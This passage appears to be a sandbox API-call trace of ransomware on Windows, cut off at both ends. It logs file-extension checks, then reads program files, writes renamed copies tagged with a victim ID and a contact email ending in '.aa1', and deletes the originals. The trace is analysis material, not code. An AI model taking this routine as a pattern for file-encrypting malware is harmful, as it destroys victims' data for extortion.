(lpString=".xlsx") returned 5 [0224.557] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0224.557] lstrlenW (lpString=".ppt") returned 4 [0224.557] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0224.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.557] lstrlenW (lpString=".zip") returned 4 [0224.557] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0224.557] lstrlenW (lpString=".rar") returned 4 [0224.557] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0224.557] lstrlenW (lpString=".bz2") returned 4 [0224.557] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0224.558] lstrlenW (lpString=".7z") returned 3 [0224.558] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0224.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.558] lstrlenW (lpString=".dbf") returned 4 [0224.558] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0224.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.558] lstrlenW (lpString=".1cd") returned 4 [0224.558] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0224.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.558] lstrlenW (lpString=".jpg") returned 4 [0224.558] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0224.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.558] lstrlenW (lpString=".doc") returned 4 [0224.558] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0224.558] lstrlenW (lpString=".docx") returned 5 [0224.558] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0224.558] lstrlenW (lpString=".pdf") returned 4 [0224.558] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0224.558] lstrlenW (lpString=".xls") returned 4 [0224.558] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0224.558] lstrlenW (lpString=".xlsx") returned 5 [0224.558] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0224.558] lstrlenW (lpString=".ppt") returned 4 [0224.558] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0224.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.558] lstrlenW (lpString=".zip") returned 4 [0224.558] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0224.559] lstrlenW (lpString=".rar") returned 4 [0224.559] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0224.559] lstrlenW (lpString=".bz2") returned 4 [0224.559] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0224.559] lstrlenW (lpString=".7z") returned 3 [0224.559] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0224.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.559] lstrlenW (lpString=".dbf") returned 4 [0224.559] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0224.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.559] lstrlenW (lpString=".1cd") returned 4 [0224.559] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0224.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0224.559] lstrlenW (lpString=".jpg") returned 4 [0224.559] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0224.559] lstrcmpiW (lpString1=".sys", lpString2=".aa1") returned 1 [0224.559] lstrlenW (lpString="pagefile.sys") returned 12 [0224.559] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.559] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.559] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.559] lstrlenW (lpString=".doc") returned 4 [0224.559] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0224.559] lstrlenW (lpString=".docx") returned 5 [0224.560] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0224.560] lstrlenW (lpString=".pdf") returned 4 [0224.560] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0224.560] lstrlenW (lpString=".xls") returned 4 [0224.560] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0224.560] lstrlenW (lpString=".xlsx") returned 5 [0224.560] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0224.560] lstrlenW (lpString=".ppt") returned 4 [0224.560] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0224.560] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.560] lstrlenW (lpString=".zip") returned 4 [0224.560] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0224.560] lstrlenW (lpString=".rar") returned 4 [0224.560] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0224.560] lstrlenW (lpString=".bz2") returned 4 [0224.560] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0224.560] lstrlenW (lpString=".7z") returned 3 [0224.560] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0224.560] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.560] lstrlenW (lpString=".dbf") returned 4 [0224.560] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0224.560] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.560] lstrlenW (lpString=".1cd") returned 4 [0224.560] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0224.560] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.560] lstrlenW (lpString=".jpg") returned 4 [0224.560] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0224.560] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.560] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.561] lstrlenW (lpString=".doc") returned 4 [0224.561] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0224.561] lstrlenW (lpString=".docx") returned 5 [0224.561] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0224.561] lstrlenW (lpString=".pdf") returned 4 [0224.561] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0224.561] lstrlenW (lpString=".xls") returned 4 [0224.561] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0224.561] lstrlenW (lpString=".xlsx") returned 5 [0224.561] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0224.561] lstrlenW (lpString=".ppt") returned 4 [0224.561] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0224.561] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.561] lstrlenW (lpString=".zip") returned 4 [0224.561] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0224.561] lstrlenW (lpString=".rar") returned 4 [0224.561] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0224.561] lstrlenW (lpString=".bz2") returned 4 [0224.561] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0224.561] lstrlenW (lpString=".7z") returned 3 [0224.561] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0224.561] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.561] lstrlenW (lpString=".dbf") returned 4 [0224.561] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0224.561] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.561] lstrlenW (lpString=".1cd") returned 4 [0224.561] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0224.561] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0224.561] lstrlenW (lpString=".jpg") returned 4 [0224.561] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0224.562] lstrcmpiW (lpString1=".DLL", lpString2=".aa1") returned 1 [0224.562] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0224.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0224.615] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=99136) returned 1 [0224.615] CloseHandle (hObject=0x1b0) returned 1 [0224.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0224.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0224.615] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.615] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.616] GetLastError () returned 0x0 [0224.616] ReadFile (in: hFile=0x1b0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x18340, lpOverlapped=0x0) returned 1 [0224.628] WriteFile (in: hFile=0x228, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x18350, lpOverlapped=0x0) returned 1 [0224.631] ReadFile (in: hFile=0x1b0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.631] WriteFile (in: hFile=0x228, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.631] SetEndOfFile (hFile=0x228) returned 1 [0224.631] CloseHandle (hObject=0x228) returned 1 [0224.632] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.632] SetEndOfFile (hFile=0x1b0) returned 1 [0224.633] CloseHandle (hObject=0x1b0) returned 1 [0224.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.633] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0224.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.634] lstrlenW (lpString=".doc") returned 4 [0224.634] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.634] lstrlenW (lpString=".docx") returned 5 [0224.634] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0224.634] lstrlenW (lpString=".pdf") returned 4 [0224.634] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.634] lstrlenW (lpString=".xls") returned 4 [0224.634] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.634] lstrlenW (lpString=".xlsx") returned 5 [0224.634] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0224.634] lstrlenW (lpString=".ppt") returned 4 [0224.634] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.634] lstrlenW (lpString=".zip") returned 4 [0224.634] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.634] lstrlenW (lpString=".rar") returned 4 [0224.634] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.634] lstrlenW (lpString=".bz2") returned 4 [0224.634] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.634] lstrlenW (lpString=".7z") returned 3 [0224.634] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.634] lstrlenW (lpString=".dbf") returned 4 [0224.634] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.634] lstrlenW (lpString=".1cd") returned 4 [0224.635] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.635] lstrlenW (lpString=".jpg") returned 4 [0224.635] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.635] lstrlenW (lpString=".doc") returned 4 [0224.635] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.635] lstrlenW (lpString=".docx") returned 5 [0224.635] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0224.635] lstrlenW (lpString=".pdf") returned 4 [0224.635] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.635] lstrlenW (lpString=".xls") returned 4 [0224.635] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.635] lstrlenW (lpString=".xlsx") returned 5 [0224.635] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0224.635] lstrlenW (lpString=".ppt") returned 4 [0224.635] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.635] lstrlenW (lpString=".zip") returned 4 [0224.635] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.635] lstrlenW (lpString=".rar") returned 4 [0224.635] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.635] lstrlenW (lpString=".bz2") returned 4 [0224.635] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.635] lstrlenW (lpString=".7z") returned 3 [0224.635] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.635] lstrlenW (lpString=".dbf") returned 4 [0224.636] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.636] lstrlenW (lpString=".1cd") returned 4 [0224.636] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0224.636] lstrlenW (lpString=".jpg") returned 4 [0224.636] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.636] lstrcmpiW (lpString1=".DLL", lpString2=".aa1") returned 1 [0224.636] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0224.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0224.638] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1369952) returned 1 [0224.638] CloseHandle (hObject=0x1b0) returned 1 [0224.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0224.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0224.638] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.638] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.639] GetLastError () returned 0x0 [0224.639] ReadFile (in: hFile=0x1b0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0224.840] WriteFile (in: hFile=0x228, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0224.857] ReadFile (in: hFile=0x1b0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x4e770, lpOverlapped=0x0) returned 1 [0224.872] WriteFile (in: hFile=0x228, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0224.883] ReadFile (in: hFile=0x1b0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.883] WriteFile (in: hFile=0x228, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.883] SetEndOfFile (hFile=0x228) returned 1 [0224.988] CloseHandle (hObject=0x228) returned 1 [0224.988] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.988] SetEndOfFile (hFile=0x1b0) returned 1 [0224.993] CloseHandle (hObject=0x1b0) returned 1 [0224.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.993] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0224.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0224.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0224.993] lstrlenW (lpString=".doc") returned 4 [0224.993] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.993] lstrlenW (lpString=".docx") returned 5 [0224.993] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0224.993] lstrlenW (lpString=".pdf") returned 4 [0224.994] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.994] lstrlenW (lpString=".xls") returned 4 [0224.994] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.994] lstrlenW (lpString=".xlsx") returned 5 [0224.994] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0224.994] lstrlenW (lpString=".ppt") returned 4 [0224.994] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0224.994] lstrlenW (lpString=".zip") returned 4 [0224.994] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.994] lstrlenW (lpString=".rar") returned 4 [0224.994] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.994] lstrlenW (lpString=".bz2") returned 4 [0225.000] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.003] lstrlenW (lpString=".7z") returned 3 [0225.003] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0225.003] lstrlenW (lpString=".dbf") returned 4 [0225.003] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0225.003] lstrlenW (lpString=".1cd") returned 4 [0225.003] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0225.003] lstrlenW (lpString=".jpg") returned 4 [0225.003] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0225.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0225.003] lstrlenW (lpString=".doc") returned 4 [0225.003] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.004] lstrlenW (lpString=".docx") returned 5 [0225.004] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0225.004] lstrlenW (lpString=".pdf") returned 4 [0225.004] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.004] lstrlenW (lpString=".xls") returned 4 [0225.004] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.004] lstrlenW (lpString=".xlsx") returned 5 [0225.004] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0225.004] lstrlenW (lpString=".ppt") returned 4 [0225.004] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0225.004] lstrlenW (lpString=".zip") returned 4 [0225.004] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.004] lstrlenW (lpString=".rar") returned 4 [0225.004] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.004] lstrlenW (lpString=".bz2") returned 4 [0225.004] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.004] lstrlenW (lpString=".7z") returned 3 [0225.004] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0225.004] lstrlenW (lpString=".dbf") returned 4 [0225.004] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0225.004] lstrlenW (lpString=".1cd") returned 4 [0225.004] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0225.005] lstrlenW (lpString=".jpg") returned 4 [0225.005] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.005] lstrcmpiW (lpString1=".EXE", lpString2=".aa1") returned 1 [0225.005] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0225.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0225.024] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=629664) returned 1 [0225.024] CloseHandle (hObject=0x20c) returned 1 [0225.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0225.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 